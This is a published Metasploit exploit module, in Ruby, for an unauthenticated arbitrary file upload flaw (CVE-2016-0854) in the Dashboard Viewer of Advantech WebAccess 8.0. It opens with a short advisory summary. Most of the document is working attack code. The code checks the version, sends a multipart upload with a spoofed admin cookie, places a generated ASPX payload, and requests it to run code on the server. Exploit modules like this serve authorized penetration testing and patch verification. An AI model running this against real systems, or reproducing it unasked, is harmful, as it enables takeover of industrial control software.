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Advantech WebAccess 8.0 Dashboard Viewer Arbitrary File Upload

Advantech WebAccess 8.0 Dashboard Viewer Arbitrary File Upload
Posted Apr 22, 2016
Authored by rgod, Zhou Yu | Site metasploit.com

This Metasploit module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess. Authentication is not required to exploit this vulnerability. The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to upload arbitrary code (instead of an image) to the server, which will then be executed under the high-privilege context of the IIS AppPool.

tags | exploit, remote, arbitrary, file upload
advisories | CVE-2016-0854
SHA-256 | eb65f546694378db27ee102831851f498e62d4fb03e39ac60cfe0233903e6505

Advantech WebAccess 8.0 Dashboard Viewer Arbitrary File Upload

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE

def initialize(info = {})
super(update_info(info,
'Name' => "Advantech WebAccess Dashboard Viewer Arbitrary File Upload",
'Description' => %q{
This module exploits an arbitrary file upload vulnerability found in Advantech WebAccess 8.0.

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Advantech WebAccess. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the WebAccess Dashboard Viewer. Insufficient validation within
the uploadImageCommon function in the UploadAjaxAction script allows unauthenticated callers to
upload arbitrary code (instead of an image) to the server, which will then be executed under the
high-privilege context of the IIS AppPool.
},
'License' => MSF_LICENSE,
'Author' => [
'rgod', # Vulnerability discovery
'Zhou Yu <504137480[at]qq.com>' # MSF module
],
'References' => [
[ 'CVE', '2016-0854' ],
[ 'ZDI', '16-128' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-014-01']
],
'Platform' => 'win',
'Targets' => [
['Advantech WebAccess 8.0', {}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 5 2016",
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path of Advantech WebAccess 8.0', '/'])
], self.class)
end

def version_match(data)
# Software Build : 8.0-2015.08.15
fingerprint = data.match(/Software\sBuild\s:\s(?<version>\d{1,2}\.\d{1,2})-(?<year>\d{4})\.(?<month>\d{1,2})\.(?<day>\d{1,2})/)
fingerprint['version'] unless fingerprint.nil?
end

def vuln_version?
res = send_request_cgi(
'method' => 'GET',
'uri' => target_uri.to_s
)

if res.redirect?
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(res.redirection)
)
end

ver = res && res.body ? version_match(res.body) : nil
true ? Gem::Version.new(ver) == Gem::Version.new('8.0') : false
end

def check
if vuln_version?
Exploit::CheckCode::Appears
else
Exploit::CheckCode::Safe
end
end

def upload_file?(filename, file)
uri = normalize_uri(target_uri, 'WADashboard', 'ajax', 'UploadAjaxAction.aspx')

data = Rex::MIME::Message.new
data.add_part('uploadFile', nil, nil, 'form-data; name="actionName"')
data.add_part(file, nil, nil, "form-data; name=\"file\"; filename=\"#{filename}\"")

res = send_request_cgi(
'method' => 'POST',
'uri' => uri,
'cookie' => "waUserName=admin",
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
true ? res && res.code == 200 && res.body.include?("{\"resStatus\":\"0\",\"resString\":\"\/#{filename}\"}") : false
end

def exec_file?(filename)
uri = normalize_uri(target_uri)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)

uri = normalize_uri(target_uri, 'WADashboard', filename)
res = send_request_cgi(
'method' => 'GET',
'uri' => uri,
'cookie' => res.get_cookies
)
true ? res && res.code == 200 : false
end

def exploit
unless vuln_version?
print_status("#{peer} - Cannot reliably check exploitability.")
return
end
filename = "#{Rex::Text.rand_text_alpha(5)}.aspx"
filedata = Msf::Util::EXE.to_exe_aspx(generate_payload_exe)

print_status("#{peer} - Uploading malicious file...")
return unless upload_file?(filename, filedata)

print_status("#{peer} - Executing #{filename}...")
return unless exec_file?(filename)
end
end

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